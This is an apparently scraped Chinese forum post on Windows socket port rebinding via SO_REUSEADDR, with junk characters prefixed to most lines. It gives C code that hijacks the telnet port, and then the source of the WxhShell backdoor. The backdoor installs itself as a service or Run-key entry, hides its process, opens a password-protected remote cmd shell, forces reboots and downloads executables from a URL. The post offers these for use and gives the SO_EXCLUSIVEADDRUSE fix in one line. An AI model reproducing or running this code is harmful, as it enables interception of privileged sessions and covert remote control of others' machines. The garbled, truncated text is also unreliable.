在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
>|`1aCg, s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
*2}f $8 Tm9sQ7Oj( saddr.sin_family = AF_INET;
?`xm_udc zk!7TUZ">w saddr.sin_addr.s_addr = htonl(INADDR_ANY);
%"=GQ 3u[ o~W,VhCP bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
9~$E+m( ;q5|If 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
H |7XfM azNv(|eeJL 这意味着什么?意味着可以进行如下的攻击:
*wsZ aQ 4<vi@,s 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
I(WIT=Wi< Y@<jvH1 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
$RB
p!7 @nMVs6 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
2s>BNWTU ^7*7^< 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
MslgQmlM Q, "8Ty 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
I}f7|hYX f& \Bs8la 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
$pKegK;'z m`n~-_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
r&Qa;-4Pl Q&+)Kp]A #include
?RIf0;G #include
FV3[7w=D\ #include
:>o0zG[;f #include
X$@qs9?)^ DWORD WINAPI ClientThread(LPVOID lpParam);
Ryygq,>VD. int main()
XPZ8*8JL {
k.jBu WORD wVersionRequested;
Rry]6( DWORD ret;
-rjQ^ze WSADATA wsaData;
AlG5n' BOOL val;
/u_9uJ"-K( SOCKADDR_IN saddr;
l]#=I7 6 SOCKADDR_IN scaddr;
l!KPgRw int err;
(+cZP&o SOCKET s;
NZ0 ?0* SOCKET sc;
\t/0Yh-' int caddsize;
e*}GQ HANDLE mt;
wr=KAsH< DWORD tid;
hF5T9^8 wVersionRequested = MAKEWORD( 2, 2 );
Wv9L}@J err = WSAStartup( wVersionRequested, &wsaData );
*
h S 6F if ( err != 0 ) {
Rjlp< printf("error!WSAStartup failed!\n");
Yh;(puhyA return -1;
Lz p}<B }
c53:E'g saddr.sin_family = AF_INET;
cH4PrMm& WRA L/ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
_%Ua8bR$ OB\ZT @l saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
lN8l71N^ saddr.sin_port = htons(23);
1
?Zw if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
kM1N4N7 {
_d!o,=} printf("error!socket failed!\n");
$-~"G,;F return -1;
#B6f{D[pI }
#`f{\ val = TRUE;
AL^tUcl //SO_REUSEADDR选项就是可以实现端口重绑定的
W}2!~ep! if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
H~mp*S {
[~RO9=;L printf("error!setsockopt failed!\n");
E/wxX#]\ return -1;
FC6~V6R }
XJKns //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
V82I%gPF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
=$L+J O //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
{&^PDa|nD D/ sYH0.V$ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
GA/afc,V {
X9SOcg3a ret=GetLastError();
?*yB&(a:8 printf("error!bind failed!\n");
aI;$N|]u return -1;
QtXiUx^ k< }
GUqG1u z9 listen(s,2);
Rg\4#9S JF while(1)
n f<I {
*)`PY4zF caddsize = sizeof(scaddr);
q#Q %p+ //接受连接请求
5GgH6 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
GvgTbCxnN if(sc!=INVALID_SOCKET)
V/#J>-os}W {
Iz
j-,a mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
x4g/ok if(mt==NULL)
Ovj^
7r:<s {
Eu"8IM!%- printf("Thread Creat Failed!\n");
+]( y break;
E{e }
mvc ;.+ }
nnN$?'%~6 CloseHandle(mt);
K|$c#X }
Njr;Wa.r+ closesocket(s);
<?}pCX/O WSACleanup();
-$:*!55:j return 0;
TU2oQ1 }
m&DI2he DWORD WINAPI ClientThread(LPVOID lpParam)
@9n|5.i {
w0Ex} SOCKET ss = (SOCKET)lpParam;
0'.z|Jg= SOCKET sc;
jF
j'6LT9/ unsigned char buf[4096];
iWC}\&i SOCKADDR_IN saddr;
X am8h long num;
|e+3d3T35 DWORD val;
s3nt2$=:t DWORD ret;
"\`Fu //如果是隐藏端口应用的话,可以在此处加一些判断
c}|.U //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
DTM(SN8R+n saddr.sin_family = AF_INET;
Lk@+iHf saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
frW\!r{LT saddr.sin_port = htons(23);
ts@Z5Yw*! if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
83
R_8 {
ZWGX*F#}P printf("error!socket failed!\n");
(VI(Nv:o@ return -1;
k\;D;e{ }
wbcip8<t val = 100;
n'{jc6&| if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Mp!1xx {
aXQAm$/
> ret = GetLastError();
Q&w_kz. return -1;
&~/g[\Y }
He5y;5 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
LklE,W {
UR=s=G| ret = GetLastError();
W2h4ej\s return -1;
Vn:v{-i }
\9tJ/~ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
+;,J0,Yn {
WQ.{Ag?1 printf("error!socket connect failed!\n");
=uNc\a ( closesocket(sc);
%mU$]^Tw( closesocket(ss);
1@ &J"* return -1;
6SE^+@jR }
=54D#,[B while(1)
DNgh#!\X {
AB,(%JT/2{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
s-'~t#h //如果是嗅探内容的话,可以再此处进行内容分析和记录
dhxzW@'nIL //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
}~PG]A num = recv(ss,buf,4096,0);
`v)'(R7){ if(num>0)
E3[9!L8gb send(sc,buf,num,0);
&\~*%:C else if(num==0)
D]aQt%TL break;
HWB\}jcA6u num = recv(sc,buf,4096,0);
!jU{ }RCR if(num>0)
!v=/f_6 send(ss,buf,num,0);
@&&}J else if(num==0)
iHf):J?8
y break;
^>!&]@ }
*S}CiwW>/ closesocket(ss);
K0C"s'q closesocket(sc);
7t#Q8u? return 0 ;
zA+0jhuG }
X(Mpg[,N" qN' 3{jiPL 60nP'xfR ==========================================================
$M0l
(htR x\~ <8o 下边附上一个代码,,WXhSHELL
>@cBDS<6R d*04[5` ==========================================================
dqQJC qc! ;Gn>W+Ae
M #include "stdafx.h"
OgQ8yKfDB _%Xp2`m #include <stdio.h>
'm|T"Ym~ #include <string.h>
RFFbS{U* #include <windows.h>
jVOq/o #include <winsock2.h>
+HWFoK #include <winsvc.h>
Wf5;~RJC? #include <urlmon.h>
LH+Bu%s ik)u/r DW #pragma comment (lib, "Ws2_32.lib")
)F&.0 ' #pragma comment (lib, "urlmon.lib")
0m.`$nlV- ZnAQO3%y #define MAX_USER 100 // 最大客户端连接数
<"`f!k#[ #define BUF_SOCK 200 // sock buffer
LD
NdHG6 #define KEY_BUFF 255 // 输入 buffer
5%QYe]D {:_*P
TVk #define REBOOT 0 // 重启
No[9m_ #define SHUTDOWN 1 // 关机
VB4V[jraCF \}k R'l #define DEF_PORT 5000 // 监听端口
a=y%+E'a' R1Q,m #define REG_LEN 16 // 注册表键长度
F 2zUz[ #define SVC_LEN 80 // NT服务名长度
Ei+lVLoC JzCkVF$ // 从dll定义API
NJd4( P typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
;w]1H&mc*A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
t.RDS2N| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
MNTVG&h typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
9
;uw3vI% dxZn| Y // wxhshell配置信息
b%"/8rK struct WSCFG {
5eFtcK int ws_port; // 监听端口
XUR#| char ws_passstr[REG_LEN]; // 口令
O0BDUpH int ws_autoins; // 安装标记, 1=yes 0=no
Q hRj*, char ws_regname[REG_LEN]; // 注册表键名
qM 1ZCt char ws_svcname[REG_LEN]; // 服务名
IUh9skW5 char ws_svcdisp[SVC_LEN]; // 服务显示名
jgXr2JQ< char ws_svcdesc[SVC_LEN]; // 服务描述信息
};"_Ku4#- char ws_passmsg[SVC_LEN]; // 密码输入提示信息
=^*EM<WG) int ws_downexe; // 下载执行标记, 1=yes 0=no
IQ~Anp^R char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
=u0a/2u| char ws_filenam[SVC_LEN]; // 下载后保存的文件名
o.|36#Fa ;"EDFH#W };
uX{g4#eG H>]*<2(=- // default Wxhshell configuration
q%f90 struct WSCFG wscfg={DEF_PORT,
1g,gilc "xuhuanlingzhe",
Y Kp@n8A 1,
0v1~#KCm "Wxhshell",
~+BU@PHv "Wxhshell",
j1+I_ "WxhShell Service",
#_3-(H5u "Wrsky Windows CmdShell Service",
gwg~4:W "Please Input Your Password: ",
XknNb{. r 1,
]0%{IgB "
http://www.wrsky.com/wxhshell.exe",
3&c'3y:b "Wxhshell.exe"
^:f)XZ };
^Df qc-] K~^o06 Y // 消息定义模块
6wq%4RI0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
p`U# char *msg_ws_prompt="\n\r? for help\n\r#>";
~fcC+"7q/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
lY,9bSF$ char *msg_ws_ext="\n\rExit.";
QP!;Gwqr char *msg_ws_end="\n\rQuit.";
1{cF/ :o char *msg_ws_boot="\n\rReboot...";
gr.G']9lNq char *msg_ws_poff="\n\rShutdown...";
sMJa4P>O@ char *msg_ws_down="\n\rSave to ";
Dq!YB[Z$: UN;U+5,t char *msg_ws_err="\n\rErr!";
TOSk+2P char *msg_ws_ok="\n\rOK!";
o2]Np~`g, +mKII>{ char ExeFile[MAX_PATH];
;r]!
qv: int nUser = 0;
a #p`l>rx HANDLE handles[MAX_USER];
X
)
=-a int OsIsNt;
qf[J-"o vt(n: Xk SERVICE_STATUS serviceStatus;
PT&qys2k SERVICE_STATUS_HANDLE hServiceStatusHandle;
0s}gg[lj {ynI]Wj`L // 函数声明
+Bt%W%_X int Install(void);
Sv>CVp* int Uninstall(void);
PqyR,Bcx0 int DownloadFile(char *sURL, SOCKET wsh);
Y1qbu~! int Boot(int flag);
~G^+.>j void HideProc(void);
D`B*+ int GetOsVer(void);
[fkt3fS int Wxhshell(SOCKET wsl);
| -Gb Hfz void TalkWithClient(void *cs);
0BjP|API int CmdShell(SOCKET sock);
QT1oU P#* int StartFromService(void);
Q4N0j' QA int StartWxhshell(LPSTR lpCmdLine);
MfFmJ7>Bg 1O)m(0tb[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
7(LB} VOID WINAPI NTServiceHandler( DWORD fdwControl );
OH
88d: y=SpIbn{ // 数据结构和表定义
Y~lOkH[z SERVICE_TABLE_ENTRY DispatchTable[] =
pg<cvok {
EW]8k@&g {wscfg.ws_svcname, NTServiceMain},
6Ol)SQE, {NULL, NULL}
!@+4&B= };
?$/W3Xn0% w0<1=;_% // 自我安装
oVfRp.a int Install(void)
EWVn*xl? {
iE{VmHp= char svExeFile[MAX_PATH];
<<YH4}wZ HKEY key;
4Xv."L strcpy(svExeFile,ExeFile);
|oR{c%z05 brF) %x` // 如果是win9x系统,修改注册表设为自启动
O#vIn} if(!OsIsNt) {
0? KvR``Aj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"QtkNy%E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`<R^ZL, RegCloseKey(key);
-b
)~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}Q,BI*}* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
scd}{Y RegCloseKey(key);
3%N!omAe return 0;
^Ri
;
vM }
A_J!VXq }
T^X um2Ec }
o1&Oug else {
c&SSf_0O* U\YzE.G1]S // 如果是NT以上系统,安装为系统服务
g9=O<u# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
s=#[>^? if (schSCManager!=0)
!JjNm*F[ {
Nb>C5TjR SC_HANDLE schService = CreateService
hN;$'%^ (
>-CNHb schSCManager,
+/#Lm#*nu% wscfg.ws_svcname,
$1D>}5Ex wscfg.ws_svcdisp,
;|Rrtf9 SERVICE_ALL_ACCESS,
?SoRi</1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
$*+UX
SERVICE_AUTO_START,
6bbzgULl SERVICE_ERROR_NORMAL,
[Ue"#w svExeFile,
p,OB;Ncf/ NULL,
PV/ hnVUl NULL,
&=-{adm NULL,
+C=^,B!, NULL,
1-pxM~Y NULL
KKw J=za );
~ \7peH% if (schService!=0)
0VI[6t@ {
E-$N!KY CloseServiceHandle(schService);
"Za 'K+4 CloseServiceHandle(schSCManager);
3DZ8-N
S strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
=G1
5eZW strcat(svExeFile,wscfg.ws_svcname);
D}pNsQ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
0
|Rmb RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
&[-b#&y RegCloseKey(key);
sYyya:ykxT return 0;
+~EFRiP] }
<%LN3T }
I h 19&D CloseServiceHandle(schSCManager);
"nn>I}jK }
Q\Nz^~dQ:Y }
>xm:?W R
G:|=d0 return 1;
D{,
b|4 }
:k oXS e?XQ, // 自我卸载
E#M4{a1 int Uninstall(void)
V#d8fRm {
_R|8_#yM HKEY key;
_/a8X:[( Ap%tm)@1 if(!OsIsNt) {
2E=vMAS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
inv 5>OeG RegDeleteValue(key,wscfg.ws_regname);
uJt*> ;Kp RegCloseKey(key);
.!h`(>+@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
X}j_k=, C RegDeleteValue(key,wscfg.ws_regname);
0tah$;c
e RegCloseKey(key);
DE14dU return 0;
]1i1_AR'` }
XZ1<sm8t." }
=:7OS>x }
&^b mZj! else {
$N17GqoC c
UHKE\F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
B ez 7 if (schSCManager!=0)
~HyqHxy {
Hd0?}w\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
A>Oi9%OY: if (schService!=0)
;{Su:Ixg {
dW2Lvnh!>/ if(DeleteService(schService)!=0) {
vKcc|# CloseServiceHandle(schService);
ZNTOI]P& CloseServiceHandle(schSCManager);
1
c4I`#_v return 0;
~z*A%vp6ER }
orr6._xw CloseServiceHandle(schService);
t(.xEl;Ma }
$_&gT.> CloseServiceHandle(schSCManager);
_6&TCd< }
9A9yZl t }
*D$Hd">X ~;B@ {kFY) return 1;
'/H+ }
b:>t1S Ul FaE,rzn)iD // 从指定url下载文件
LuUfdzH int DownloadFile(char *sURL, SOCKET wsh)
KZt4 dr {
xO` O$ie HRESULT hr;
Oxhc!9F char seps[]= "/";
dQH9NsV7g char *token;
!S}4b char *file;
J+20]jI char myURL[MAX_PATH];
#[aHKq:?b char myFILE[MAX_PATH];
I^yInrRh5 uf&Ke
k, strcpy(myURL,sURL);
~xP4}gs1 token=strtok(myURL,seps);
fp2.2 @[ while(token!=NULL)
I2<t?c:Pn< {
0!!z'm3
file=token;
*1clPK token=strtok(NULL,seps);
r1QLSD]i6 }
n{v[mqm^ |oI] GetCurrentDirectory(MAX_PATH,myFILE);
y72=d?]W strcat(myFILE, "\\");
~^pV>>LX| strcat(myFILE, file);
1{7*0cv$iL send(wsh,myFILE,strlen(myFILE),0);
ZpTT9{PT=: send(wsh,"...",3,0);
F8%.-.l) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
2W 9N-t21 if(hr==S_OK)
fu6Ir, return 0;
57 eA(uI else
5 U{}A\q return 1;
WTP~MJ#C l^*'W(% }
gx)!0n; r @
IyK% // 系统电源模块
^u[n!R\ int Boot(int flag)
PQFr4EY?i {
DU>#eR0G HANDLE hToken;
o?l9$"\sqb TOKEN_PRIVILEGES tkp;
(lBwkQNQGd ^saH^kg1" if(OsIsNt) {
<;
(pol| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
AqHH^adzA: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
0qUBt9rA tkp.PrivilegeCount = 1;
2En^su$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[ym
ynr3M AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
b _#r_` if(flag==REBOOT) {
!xz0zT. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
/^T XGc. return 0;
.Q^8_'ZG }
0pu=, else {
cK(S{|F if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
CHPu$eu return 0;
CVyE5w }
OLS. 0UEc }
[Q5>4WY else {
tEXY>= if(flag==REBOOT) {
Ckc4U. t| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
AvS<b3EoN return 0;
k&h3" }
Y={_o!9 else {
`"* ]C if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
ClvqI"Rd return 0;
)LP=IT }
93aRWEu3 }
`/0S]?a.{B 3RyB 0
n return 1;
A/zZ%h }
Rt^~db O!7v&$]1 // win9x进程隐藏模块
/)Pf ] void HideProc(void)
e0ea2
2
{
7"c^$fj x&SG gl HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
!leLOi2T if ( hKernel != NULL )
'nO%1BZj+ {
[h
GS* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
RZ#~^5DiO ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
QmpP_eS > FreeLibrary(hKernel);
"`jey)&H*M }
Z+*t=?L,,G (`
N@4w= return;
XpH]CF }
=I}8-AS~V Bi'qy]% // 获取操作系统版本
uGxh}'& int GetOsVer(void)
~rWys= {
M'
d ,TV[ OSVERSIONINFO winfo;
Hmi]qK[F winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
vl{G;[6 GetVersionEx(&winfo);
?!4xtOA if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
V#Hg+\{d return 1;
d 18>0R else
ph;ds+b return 0;
b;X|[tB }
o'8`>rb ~$O.KF: // 客户端句柄模块
#:yh2y7a% int Wxhshell(SOCKET wsl)
X?'v FC {
wInJ!1 SOCKET wsh;
,a&&y0, struct sockaddr_in client;
,'E+f% DWORD myID;
#H;yXsR` y]5c!N %8 while(nUser<MAX_USER)
j6NK7Li {
2Bf]#l{z int nSize=sizeof(client);
GjmPpKIu\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
$T)EJe if(wsh==INVALID_SOCKET) return 1;
rk$$gXg9/ $i^#KZ}-WK handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
2th>+M~A if(handles[nUser]==0)
/i${ [1 closesocket(wsh);
p%8v+9+h2 else
h*2NFL~# nUser++;
-f+U:/'.>v }
xMdbS4 &! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
(H\)BS7#R Y2)2
tzr] return 0;
U49#?^? }
Y]ZNAR Vl0
J!JK_ // 关闭 socket
=%}++7# void CloseIt(SOCKET wsh)
uTemAIp
$u {
COF_a% closesocket(wsh);
VOj{&O2c nUser--;
l Wa4X#~. ExitThread(0);
'_nJ DM }
^WZcM#~TL |)7dh B // 客户端请求句柄
? ^EB"{ void TalkWithClient(void *cs)
Y~|C]O {
Y_H|Fl^ a<W[???m/M SOCKET wsh=(SOCKET)cs;
1h"CjOp,7 char pwd[SVC_LEN];
u9.x31^ char cmd[KEY_BUFF];
-W^jmwM char chr[1];
Zi0B$3iOb int i,j;
:KJG3j?
S-M|
6fv while (nUser < MAX_USER) {
| m^qA](M @bc=O1vX~; if(wscfg.ws_passstr) {
8b^v@|)N if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
xS4B"/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
A 11w{`EM //ZeroMemory(pwd,KEY_BUFF);
yK$.wd2, i=0;
M7\; Y while(i<SVC_LEN) {
7nzNBtk C;u8qVI // 设置超时
,r&:C48dI fd_set FdRead;
4z_ >CiA struct timeval TimeOut;
"I)*W8wTn FD_ZERO(&FdRead);
dKOW5\H' FD_SET(wsh,&FdRead);
[_jd TimeOut.tv_sec=8;
8f^QO: TimeOut.tv_usec=0;
(dL;A0L int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
u9t@%H)lZ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
`*A!vO8 O[N}@%HMW
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
*bl*R'; pwd
=chr[0]; $*%ipD}f
if(chr[0]==0xd || chr[0]==0xa) { @Gh?|d7bD
pwd=0; "|2|Vju%
break; <$f7&6B
} 1YGj^7V)|Z
i++; w
$\p\}~,
} *K{-J*
1@ e22\
// 如果是非法用户,关闭 socket u x[h\Tp
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rNdeD~\
} 0I8w'/s_g9
,9(=Iu-?1
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EXdx$I=X
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rRTAWAs%T
8y<NT"
while(1) { 0 >
\m>mE/N
ZeroMemory(cmd,KEY_BUFF); KRY%B[k
h83;}>
// 自动支持客户端 telnet标准 'u\my
j=0; Y7|R vLWoP
while(j<KEY_BUFF) {
h:[8$]
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [7K-L6X
cmd[j]=chr[0]; -P+@n)?T6
if(chr[0]==0xa || chr[0]==0xd) { Ca SoR |
cmd[j]=0; Ya#,\;dTT
break; 6' 9ITA
} &a'H vQV
j++; 9q?\F
} sHk,#EsKH
'nK(cKDIG
// 下载文件 *PXlbb
if(strstr(cmd,"http://")) { )FNvtLZ
send(wsh,msg_ws_down,strlen(msg_ws_down),0); '7+e!>"
if(DownloadFile(cmd,wsh)) y>:-6)pv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j89C~xP6
else i\2d1Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cJ6n@\
} #cN0ciCT'
else { 7e{w)m:A
5hVp2w-
switch(cmd[0]) { ,a:!"Z^f
\S[7-:Lu^
// 帮助 E>/kNl
case '?': { 9WXJz;
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C q/936`O
break; Im
NTk
} -~nU&$ccL
// 安装 Hs%;uyI@$
case 'i': { jTo-xP{lC
if(Install()) j%2l%Mx(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); px@:t}
else q,#j
*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [D]9M"L,vQ
break; xQ4'$rL1d
} ^)r^k8y'
// 卸载 On[:]#
case 'r': { ~Rs_ep'+Q2
if(Uninstall()) "pb$[*_@$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YbMeSU/sX
else _\HMF
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8\z5* IPGs
break; K$S:V=y%r7
} 8Ol#-2>k$
// 显示 wxhshell 所在路径 5t`:=@u
case 'p': { Pj4WWK X
char svExeFile[MAX_PATH]; -&PiD
strcpy(svExeFile,"\n\r"); *z2G(Uac
strcat(svExeFile,ExeFile); bCM&Fe0GM
send(wsh,svExeFile,strlen(svExeFile),0); o"O=Epg
break; bITc9Hqc
} N5 BC<pu
// 重启 K~j&Q{yws@
case 'b': {
5dH}cXs
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0KW@j>=jK
if(Boot(REBOOT)) zJp}JO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R)>/P{A-P
else { QZcdfJck=+
closesocket(wsh); GpjyF_L
ExitThread(0); %/l9$>{
} 8>Y
break; -ZTe#@J
} I~LN)hqd o
// 关机 w\
hl2JTy
case 'd': { pYtG%<
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }b9"&io
if(Boot(SHUTDOWN)) (x}>tm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )7U^&I,
else { sSisO?F!Z
closesocket(wsh); e:SBX/\j
ExitThread(0); [dG&"%5vD
} H%,jB<-.A
break; w2-:!,X
} <ptgFR+
// 获取shell m/,.3v
case 's': { gy|L!_1Z8
CmdShell(wsh); QXXB>gOY5
closesocket(wsh); s}MD;V&0
ExitThread(0); nXgnlb=
break; Yp_ L.TTb
} C-
Aiv@@<=
// 退出 :]EAlaB4Q
case 'x': { ].W)eMC*c(
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); up[9L|
CloseIt(wsh); z6~cm6 j
break; .}.?b
} p2]@yE7w
// 离开 m `"^d #
case 'q': { ZLsfF
=/G
send(wsh,msg_ws_end,strlen(msg_ws_end),0); "7v/-
closesocket(wsh); #6< X
WSACleanup(); V$y6=Q<c
exit(1); z/IA
@
break; v-zi ,]W
} -f&16pc1t
} P`/;3u/P
} yc4?'k!
?LJDBN
// 提示信息 2TH13k$
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >FO4]
} ==zt)s.G(+
} =oN(1k^
XILB>o.^3
return; _a;E>
} S6k
R o^2
/RVy?)hVT#
// shell模块句柄 \rXmWzl{
int CmdShell(SOCKET sock) gN2$;hb?
{ 42`%D
STARTUPINFO si; &h(>jY7b;
ZeroMemory(&si,sizeof(si)); do {E39
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l(c2 B
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HGuU6@~hu
PROCESS_INFORMATION ProcessInfo; (HNxo{t
char cmdline[]="cmd"; Ttr)e:
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nz{
;]U1
return 0; T:v.]0l~
} / z<7gd~oU
^$8@B]*
// 自身启动模式
bsfYz
int StartFromService(void)
G.2\Sw
{ pbfIO47ZC
typedef struct U
GA_^?4
{ 4?+K:e #F
DWORD ExitStatus; a`c#-
je
